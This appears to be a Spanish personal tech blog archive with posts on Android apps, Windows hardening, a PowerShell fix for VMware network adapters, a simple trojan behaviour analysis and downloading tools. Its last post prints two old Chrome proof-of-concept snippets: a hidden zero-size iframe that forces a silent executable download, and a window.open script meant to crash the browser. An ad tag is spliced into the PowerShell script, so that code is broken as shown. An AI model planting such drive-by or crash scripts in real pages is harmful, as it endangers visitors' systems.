Muy buenas a todos/as!

Desde que me compré el Nexus One mucha de la gente que ya tenía Android me había pedido que pusiese que aplicaciones había usado o que me parecían interesantes.

Es algo que he ido retrasando pues al final te quedas con aquellas aplicaciones que mas te sirven y de echo he probado muchas, pero o saturas el teléfono o te acabas volviendo un poco loco de la cantidad que hay. Cabe decir que pondré tanto aplicaciones que necesiten root como las que no, dando por echo que se tiene el telefono rooteado.

Lo primero para empezar es tener rooteado el teléfono en mi caso, por ejemplo, yo usé Cyanogenmod en su última versión, una vez instalado, se empieza con las aplicaciones.

La primera es Titanium Backup

Este software es capaz de hacerte la vida mucho más fácil, para empezar, te permite mover mediante lotes (scripts programados) la ejecución de tareas como, mover todas las aplicaciones que lo permiten a la SD. Además de hacer backups automáticos, permite incluso que lo puedas sincornizar con el Dropbox, una maravilla sin duda

Kaspersky

El tema de tener antivirus en Android creo, ya no se puede discutir, de echo las predicciones para el 2012 es que el malware en Android aumente un 6000 %, así que por si acaso es mejor estar protegido. Este software te permite incluso mediante la recepción de SMS ejecutar acciones sobre el dispositivo, como un auto-wipe por ejemplo.

TMB

Esto solo si vivis en Barcelona y viajáis en transporte público os servirá para saber cuanto tarda el próximo autobús en venir. Para mi imprescindible!

Dolphin Browser

El tema del navegador es algo que es bastante importante pues se necesita un navegador que sea rápido que puedas configurar medida y ese es el caso de Dlphin Browser. Con Dolphin podemos agregar complementos usar gestos para realizar ciertas acciones etc…

Dropbox

No hace falta que os hable sobre esta aplicación ya.. es bastante usada para compartir archivos entre pc, movil, ipad, linux de lo que necesites la cuenta gratuita tiene hasta 2GB de almacenamiento gratuito.

Hasta aquí mi primera pequeña lista de aplicaciones, mañana mas y mejor 

Saludos

Muy buenas a todos/as!

Intentaré los Domingos por cambiar un poco el asunto poner alguna recomendación de páginas/proyectos/libros que esté leyendo  actualmente o bien que sean de mi interés.

En el artículo de hoy tráigo uno de los libros que mas me ha gustado de carácter técnico. El libro es “Máxima Seguridad en Windows” el libro editado por Informática64 y escrito por el GRAN Sergio de los Santos cubre aquellas necesidades que la gente necesita sobre securizar su Windows.

Sergio tiene mucha experiencia con malware y con sistemas Windows, es un crack y lo puedes obervar en charlas a las que he podido verle como por ejemplo en el Asegura IT Camp 3 donde dió una charla en la que pude ver en directo el pedazo de profesional que es.

Y respecto al libro obervando el índice que ya vi en el Asegura IT Camp 3 me entraron muchas ganas de leerlo. El índice lo podemos ver aquí.

Cuando empecé la lectura del libro tenía muy claro que acabaría aplicando fuego purificador a mi instalación de Windows es decir, formateando la instalación actual y volver a instalar Windows 7 y configurarlo de manera seguro. Ya he retocado cosas del registro, cambiado el UAC configurado el firewall desde cero… he aprendido muchas cosas internas de Windows y que NO conocía, pero que de momento puedo ir tranquilo sion antivirus porque yo se que aplicaciones hacen cada cosa en mi sistema operativo.

Desde luego una lectura recomendada.

Podéis adiquirir el libro aquí

Así que ya sabéis haced vuestro pedido

Saludos

Muy buenas a todos/as!

Cuando me encontraba leyendo el libro de Sergio de los Santos “Máxima Seguridad en Windows” sabría que acabaría formateando el ordenador para acabar de instalarlo totálmente seguro y a mi gusto, con las recomendaciones de lo que supone para mi ahora una guía de como configurar un Windows de manera segura y sin antivirus .

Una de las muchas cosas que cambié es el tema del Firewall que viene integrado con Sistema en Windows 7, por defecto en los 3 perfiles, dominio, público y privado todo me basé en listas blancas para permitir la salida de programas hacia la red. Uno de los problemas que tuve es que, me quedé sin conexión a  Internet con VMWare. El problema de VMWare en Windows 7e s que las interfaces de red, vmnet, te las asigna como redes públicas y por lo tanto te quedas sin acceso a Internet.

Una solución para tener conexión a Internet es mediante un script en Power Shell que Windows no asigne las interfaces de red como públicas.

Podemos ver como Windows asigna las interfaces de red como públicas.

Te marca la red como red desconocida

El script en Power Shell es el siguiente:

# see <a href="http://msdn2.microsoft.com/en-us/library/bb201634.aspx">http://msdn2.microsoft.com/en-us/library/bb201634.aspx</a>
#
# *NdisDeviceType
#
# The type of the device. The default value is zero, which indicates a standard
# networking device that connects to a network.
#
# Set *NdisDeviceType to NDIS_DEVICE_TYPE_ENDPOINT (1) if this device is an
# endpoint device and is not a true network interface that connects to a network.
# For example, you must specify NDIS_DEVICE_TYPE_ENDPOINT for devices such as
# smart phones that use a networking infrastructure to communicate to the local
# computer system but do not provide connectivity to an external network.
#
# Usage: run in an elevated shell (vista/longhorn) or as adminstrator (xp/2003).
#
# PS&gt; .\fix-vmnet-adapters.ps1

# boilerplate elevation check

$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = new-object Security.Principal.WindowsPrincipal $identity
$elevated = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)  

if (-not $elevated) {
    $error = "Sorry, you need to run this script"
    if ([System.Environment]::OSVersion.Version.Major -gt 5) {
        $error += " in an elevated shell."
    } else {
        $error += " as Administrator."
    }
    throw $error
}

function confirm {
$host.ui.PromptForChoice("Continue", "Process adapter?",
[Management.Automation.Host.ChoiceDescription[]]@("&amp;No", "&amp;Yes"), 0) -eq $true
}

<!-- Adkit freestyle placement -->[adkit: zone="freestyle" limit="1" list="0"] <br><br><br> [netshelter]# adapters key
pushd 'hklm:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}' 

# ignore and continue on error
dir -ea 0  | % {
    $node = $_.pspath
    $desc = gp $node -name driverdesc
    if ($desc -like "*vmware*") {
        write-host ("Found adapter: {0} " -f $desc.driverdesc)
        if (confirm) {
new-itemproperty $node -name '*NdisDeviceType' -propertytype dword -value 1
        }
    }
}
popd

# disable/enable network adapters
gwmi win32_networkadapter | ? {$_.name -like "*vmware*" } | % {

# disable
    write-host -nonew "Disabling $($_.name) ... "
    $result = $_.Disable()
    if ($result.ReturnValue -eq -0) { write-host " success." } else { write-host " failed." }
    # enable
    write-host -nonew "Enabling $($_.name) ... "
    $result = $_.Enable()
    if ($result.ReturnValue -eq -0) { write-host " success." } else { write-host " failed." }
}

Este script se ha power shell se ha de ejecutar con Power Shell.

Las redes VMNet se ha de marcar el Y para aplicar la configuración.

ya tenemos las redes como enabled

Y hasta aquí la solución al problema

Referencias

Saludos!

Aqui es un extracto

Madison Square Garden puede albergar 20.000 personas por concierto. Este blog fue visto cerca de 68.000 veces en 2011 .Si fuese un concierto en el Madison Square Garden, se precisarían alrededor de 3 actuaciones para que toda la gente lo viera.

Haz click para ver el reporte completo.

Muy buenas a todos/as!

Hoy publicaré algo distinto y será el análisis de comportamiento de un troyano. Será algo muy básico iré avanzando conforme me vaya informando del tema.

Este artículo lo que haré será poner wireshark y ver las conexiones que establece el troyano, además de luego con process explorer y installrite ver los cambios que han habido en el sistema después de la infección con el builder.

Lo primero antes de hacer ninguna infección es guardarme con installrite un snapshot del registro y archivos del sistema para luego poder comparar los cambios, además de hacer un snapshot de la máquina virtual claro.

Una vez que me he infectado por el troyano arranco Wireshark y veo que el troyano intenta conectarse al servidor “maligno”.

Podemos ver las peticiones que haría el troyano en caso de querer conectarse al servidor desde donde enviará los datos se descargará actualizaciones etc.. Como el servidor no existe no recibe respuesta alguna, en la próxima entrega veremos como envía los datos capturados y más cosas.

Ahora con process explorer vemos el proceso que ha abierto el troyano.

Podemos ver en esta imagen varia información. No tiene asociado ningún proceso padre, debería de ser explorer.exe.

Además el command line aparece una sorpresa server.exe. A simple vista con process explorer sin mirar los detalles parecería un proceso legítimo. Sólo que yo no tenía ningún Internet Explorer abierto, además de que revisando los detalles puedo ver perfectamente la infección.

Si lo comparamos con un proceso de Internet Explorer legítimo:

Podemos ver correctamente el proceso padre, además de que la ruta en el command line es el correcto. Y, si miráramos process explorer veríamos que crea un proceso en otro hilo, y no crea desde un proceso padre varios procesos hilos.

Y ya con Installrite vemos que han habido cambios y a destacar entre ellos vemos que se ha añadido el archivo server.exe.

Podemos ver el server.exe en Datos de Programa

Y hasta aquí un brevísimo análisis de comportamiento.

Un saludo

Muy buenas a todos/as!

Todos sabemos que las certificaciones son importantes y que te enseñan de una manera muy específica sobre un, o varios temas de manera sencilla.

Sabemos que están el CCNA, el CCNP, el CEH etc..etc..

Pero, todas estas certificaciones valen dinero… y cuando estás estudiando y no puedes/no tienes trabajo no dispones del dinero para poder pagarte algunas de esas certificaciones. Así que si buscas puedes encontrar sitios donde realizas unas pruebas, entregas unos trabajos y al final si apruebas te dan un certificado.

Sitios en Internet donde puedes hacer esto són:

Eset Educación

¿ Que dicen en su página web sobre este curso ?

Educación en Línea sobre Seguridad Informática

Aprenda todo lo que necesita para protegerse de los códigos maliciosos en un solo lugar

Le damos la bienvenida a la Plataforma de Educación en línea sobre Seguridad Informática de ESET Latinoamérica, donde podrá tomar nuestros cursos gratuitos para ampliar sus conocimientos en el área.

Nuestros contenidos de educación le permitirán incorporar conceptos básicos sobre la seguridad, a través de los cuales podrá aprovechar Internet al máximo sin preocuparse de las amenazas informáticas.

Los Cursos que hay ahora disponibles són:

Guía para el uso seguro de medios informáticos	Curso orientado a conocer las amenazas informáticas más comunes y las formas de prevención.
Seguridad para PyMEs	Teniendo en cuenta la importancia que representan las PyMEs para la región, y las brechas en medidas de seguridad existentes, ESET Latinoamérica pone al alcance el presente curso, orientado específicamente a la mediana empresa: gerentes, directores, gerentes de sistemas, administradores de red, soporte técnico, responsables de Recursos Humanos y otros integrantes relacionados con la seguridad de la información en la empresa.
Seguridad en las transacciones comerciales en línea	Curso orientado a conocer las distintas definiciones necesarias para comprender el comercio electrónico y las transacciones comerciales electrónicas.

Sin duda una buena opción para meterse en algo de seguridad!

Sigamos

La otra opción de donde podrás aprender bastante de diferentes temas y, además tambiñen con posibilidad de certificado es el Sena:

Sena Comunidad Virtual

Aquí podemos encontrar gran variedad de cursos:

CALIDAD EN EL DESARROLLO DE SOFWARE

Calidad en el Desarrollo de Software

Aplicación de la Calidad del Software en el proceso de Desarrollo

Modelos de calidad de software

DISEÑO WEB

Manejo de Herramientas Informáticas: Solid Edge

Programación de páginas Web con HTML y JAVASCRIPT

Flash – Animacion en 2D

Corel Draw – Textos y Organización de Objetos

Corel Draw – Transformación de Objetos y Efectos Especiales

Diseño Web con Macromedia Dreamweaver Mx

Autocad 2D

Diseño de Sitios Web, estrategias y usos de herramientas de diseño – Frontpage

Desarrollo y publicación de sitios Web utilizando la herramienta Frontpage

Corel Draw – Utilización de herramientas de diseño Vectorial

Autocad 3D

Manejo de Adobe Photoshop CS3 ¡NUEVO!!!

Diseño Web con Adobe Dreamweaver CS3 ¡NUEVO!!!

MODELADO DE DATOS

Modelación de Sistemas – Simulación

Informática: Administración de bases de datos utilizando Microsoft® Access 2000

Informática: Diseño de bases de datos en SQL

Base de datos: Conceptualización y sistemas de Administración

Diseño de Casos de Uso

Metodologías de Análisis y Diseño de Sistemas-de la incepción al diseño de la arquitectura

Metodologías de Análisis y Diseño de Sistemas-del diseño a la implementación

Principios del análisis y diseño orientado a objetos, utilizando el estándar UML

Aplicación metodología orientada a objetos utilizando el estándar UML

Modelación de Sistemas – Modelación

Metodología de la Programación de Sistemas Informáticos

Estructuras de datos Lineales

Estructuras de datos No Lineales

OFIMATICA

Fundamentación de Ensamble y Mantenimiento de Computadores para los procesos de Soporte Técnico

Ciudadano Digital Colombia: Competencias para uso productivo de Internet ¡NUEVO!!!

Arquitectura de Computadores

Manejo de herramientas de internet y correo electrónico

Linux:Sistema Operativo,Comandos y Utilidad

Informática: Mantenimiento de computadores

Manejo de Herramientas Ofimáticas: Microsoft Excel

Manejo herramientas Microsoft Office 2007: Word ¡NUEVO!!!

Uso de Excel y Access para el desarrollo de aplicaciones administrativas empresariales

PROGRAMACIÓN ORIENTADA A OBJETOS

Estructura del Lenguaje de Programación c++ ( Nivel I)

Módulos, estructura de almacenamiento y POO utilizando el lenguaje de programación C++ ( Nivel II)

Uso de clases, objetos, métodos y archivos secuenciales en POO con lenguaje de programación C++ ( Nivel III)

Variables y estructuras de Control en la Programación orientada a objetos: Java

Desarrollo de Aplicaciones con Manejo de Archivos de Texto y el Manejo de Excepciones en JAVA

Desarrollo de aplicaciones con Interfaz Gráfica, Manejo de Eventos, Clases y Objetos : Java

Desarrollo de Aplicaciones con Manejo de Datos en la Memoria- Java

Desarrollo de Aplicaciones con Manejo de Proceso Simultaneo y Uso de Menús: Java

Desarrollo de Applets/Aplicaciones con Uso de Base de Datos, Redes, Servlets y Multimedia

LA oferta es grande y nos da donde elegir, de nosotros depende

El no estudiar YA no es excusa!

También tenemos la plataforma de Sun Microsystems

Plataforma de Sun

No he tenido la oportunidad de estudiar aquí, pero puedes hacer las certificaciones de Sun

Y por último y algo bastante interesante..

El Microsoft Virtual Academy

Aquí hay mucha documentación de tecnología Windows.

Y hasta aquí lo que he encontrado, un saludo

Always there and when they do not find an answer, you give me.
Thank you my giant

Ya escribí hace tiempo como descargar videos de Youtube sin utilizar ningún programa, lo podeis ver aquí:

Artículo

Pero ahora lo haremos de otra manera y además podremos convertir el video descargado en un audio directamente.

Utilizaremos el programa aTube Catcher, lo podemos descargar desde aquí:

Descargar

Una vez descargado e instalado sólo tenemos que hacer lo siguiente

Caso1- En el caso de que queramos descargar un video y verlo en formato video NO FLV

Vamos a Youtube y pinchamos en el video que queramos y cojemos la dirección que nos aparece en la barra de arriba y la introducimos en el programa, nos ha de quedar algo así:

Como veis el archivo se descargará en el escritorio, y ademas lo convertirá a formato WMV, es decir un video. Le damos a Descargar:

Como veis es muy fácil, pero y si en realidad estamos buscando una canción y lo que queremos es tener la cancion y no el video…

Es tan fácil como abrir el desplegable:

Como veis hay un montón de formatos, MP3, para música,MP4 para el IPOD 3gp, para el movil, para la PSP.

Y ya está es tan fácil como esto.

Goear

En Goear hay diferentes maneras..hay uina muy ingeniosa que me explico un compañero de clase y subio el video tutorial en Youtube

Pero, también hay mas maneras a nivel web por ejemplo, vamos a goear y buscamos la cancion que queraqmos el enlaze a de así:

http://goear.com/listen/c4225e9/A-Desalambrar-Victor-Jara

Luego nos dirijimos a la primera página que nso permitirá descargar el audio:

DownMusic

Aqui pegamos el enlace y automaticamente nos indica que le demos con el botón derecho encima de descargar video y elijamos la opción de guardar destino en.. Que eso nos guardará el archivo donde nosotros queramos:

La segunda página que os mostraré es exactamente lo mismo:

Dowint

Hacemos lo mismo que antes:

Y luego tenemos un programita que lo encontré por Softonic pero que estaba subidoa  un host de rapidshare así que lo subía  mi FTP por si acaso, se trata de Goear-Download-mp3, lo podemos descargar de aqui:

Descargar

Lo descargamos copiamos la dirección como siempre y la introducimos en la segunda caja de texto:

Luego sólo tenemos que darle a Download, y nos abrirá un navegador el que esté por defecto y nos pedirá que donde queremos descargar el audio.

Y ya está eso es todo, espero que os sirva

Esta vez nos encargaremos de la gestión del menú de arranque ,es decir, el GRUB. Que se instala automáticamente cuando instalamos Ubuntu en nuestra máquina.

Como siempre, hay dos alternativas, de manera gráfica o modo texto.

Lo explicaremos sólo de manera gráfica ya que en modo texto ya se encargo explicarlo mi compañero Hanouk

Editar el grub en modo texto

Bueno empecemos con el modo gráfico:

Lo primero que hay que hacer es añadir el programita que se encargará de hacernos toda la faena.

Instalaremos dos cosas, Administrador de arranque y KGrubEditor:

Ahora confirmamos la instalación:

Y empezamos a ver como se instala y se configuran los paquetes:

AHora abriremos la aplicación que se encuentra en aplicaciones herramientas del sistema, y nada mas abrirla nos sale:

Aqui nos pide password ya que vamos a tocar un archivo de sistema.

Ahora nos saldría el menú con las entradas que tenemos, en mi caso ya lo tengocomo quiero salvo por el sistema por defecto sobre el cual arranca.

Asi que solo hemos de cambiarlo por el de abajo o lo que sea.

también tenemos cosas bastantes interesantes, fijaros en esta imagen:

Como veis podemos hacer backups del grub podemos modificar ficheros de configuración y demás. Ademas de instalar el grub otra vez.

Y además tenemos MAS OPCIONES de las cuales hay unas cuantas que son bastantes interesantes:

Aquí podremos configurar mas cosas para nuestro Gestor de Arranque.

Y ahora configuraremos la otra aplicación que hemos instalado antes, la de admnistrador de arranque.

La aplicación está en Sistema Administración, administrador de arranque.

Lo abrimos y nos sale una cosa como esta:

Ahora si os fijais por defecto sale el XP que es como yo lo e dejado con Kgrubeditor antes. Aqui hay una serie de Opciones poned la que mas os guste.

Navegemos por las pestañas de configuración:

Podemos configurar Seguridad si queremos y las demás pestañas contienen otras configuraciones.

Alguna duda no dudéis en comentar

Y eso es todo, naturalmente en mas importante saber editar el Grub en modo Texto.

Guau el nuevo navegador de Google eso es lo que penso muchísima gente cuando Google dio a conocer su navegador.

Aunque no se tardó mucho en ver las vulnerabilidades que tenía.

Empezaremos por la primera,

Utilizando un simple “:%” ya podíamos bloquear TODAS las pestañas en el chrome y eso que decían que cada pestaña era independiente de la otra.

Si queremos ver una prueba de concepto podemos clicar aquí con Chrome claro.

La segunda vulnerabilidad es que puedes descargar archivos sin confirmación del usuario con un simple código Javascript como este:

<script>
document.write(’<iframe src=”http://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B723E6246-B9BB-0330-F224-A9BF72F41C78%7D%26lang%3Des%26browser%3D3%26usagestats%3D1%26appname%3DGoogle%2520Chrome%26needsadmin%3Dfalse%26appguid%3D%7B00058422-BABE-4310-9B8B-B8DEB5D0B68A%7D%26appname%3DChromeGears%26needsadmin%3Dfalse/update2/installers/ChromeSetup.exe” frameborder=”0″ width=”0″ height=”0″>’);
</script>

Este Scrip normalmente en Firefox preguntaría si queremos descargarlo en Chrome se habría descargado ya.

Descargar un archivo de CUALQUIER página de Internet que contuviera este Script. Me parece peligroso

Y la tercera vulenrabilidad de la que me acabado de enterar es que en cualquier página poniendo este código habría un desbordamiento de la memoria.

<script language=”javascript”>
window.open(”\r\n\r\n”);
window.refresh();
window.open(”\r\n\r\n”);
</script>

Entonces es cuando me entero por kriptopolis y Sigt que una empresa alemana ha cogido el Source de Google Chrome y a sacado una version mucho mas segura y sin ese tipo de fallos. Es mas privado es mas seguro no dejés de probarlo.

Link de descarga

Iron